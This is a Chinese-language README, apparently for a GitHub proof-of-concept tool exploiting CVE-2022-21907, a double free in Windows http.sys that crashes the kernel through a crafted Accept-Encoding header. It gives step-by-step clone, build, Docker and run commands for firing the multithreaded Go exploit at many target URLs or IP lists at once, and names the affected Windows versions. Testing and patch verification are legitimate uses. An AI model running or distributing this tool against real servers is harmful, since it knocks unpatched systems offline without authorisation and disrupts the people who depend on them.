CVE-2022-21907 - http.sys驱动中的双重释放（Double Free）。
这是一个多线程的 Golang 应用，允许同时向多个目标发送请求。
对于 POST 请求效率不高，但与线性方法相比，它能提供接近 30% 的速度提升。
未经身份验证的攻击者可以发送一个带有 "Accept-Encoding" HTTP 请求头的 HTTP 请求，触发 HTTP 协议栈（http.sys）中未知编码列表的双重释放，导致内核崩溃。
Golang：
Golang:
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. go build cve-2022-21907.go -o /cve-2022-21907
4. chmod +x cve-2022-21907
5. ./cve-2022-21907 -t <targetURL> [or <targetFile>]
本地 Docker 构建：
1. git clone https://github.com/iveresk/cve-2022-21907.git
2. cd cve-2022-21907
3. nano input.txt [在此输入目标 IP 列表]
4. docker build -t <tagName> . || docker build --build-arg INPUT_FILE=<default_target_filename> -t <tagName> .
[Docker 中默认文件名为 "input.txt"，但你可以指定自己的文件]
5. docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Docker 仓库
docker pull masterrooot/cve-2022-21907:latest
docker run -it <tagName> || docker run -it -e INPUT_FILE=<target_filename> <tagName>
Windows Server 2019 和 Windows 10 版本 1809：
你可以通过 Keybase 自由联系我以获取更多详情。